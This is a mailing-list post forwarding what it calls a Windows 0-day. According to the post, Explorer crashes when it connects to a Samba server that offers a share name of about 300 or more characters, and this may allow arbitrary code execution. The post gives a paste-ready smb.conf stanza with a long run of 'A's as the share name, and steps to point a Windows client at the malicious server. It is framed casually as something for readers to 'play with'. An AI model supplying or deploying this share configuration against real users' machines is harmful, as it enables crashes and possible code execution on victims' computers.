[olug] here play with this

[Patrick Olsen]

enjoy its a 0 day i guess

Description

Windows fails to handle long share names when accessing a remote
file servers such as samba, allowing a malicious server to crash the
clients explorer and eventually get to execute arbitrary code in the
machine as the current user (usually with Administrator rights in windows
machines).



Analysis

In order to exploit this, an attacker must be able to get a user to connect
to a malicious server which contains a share name equal or longer than 300
characters, windows wont allow you to create such a share, but of course 
samba
includes the feature ;).   After your samba box is up and running create a
share in you smb.conf :



#------------ CUT HERE -------------

[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
comment = Area 51
path = /tmp/testfolder
public = yes
writable = yes
printable = no
browseable = yes


#------------ CUT HERE -------------


After your server is up, just get to your windows test box and get to the
start menu > run > \\your.malicious.server.ip., plufff, explorer will crash
:).

_________________________________________________________________
Watch LIVE baseball games on your computer with MLB.TV, included with MSN 
Premium! 
http://join.msn.com/?page=features/mlb&pgmarket=en-us/go/onm00200439ave/direct/01/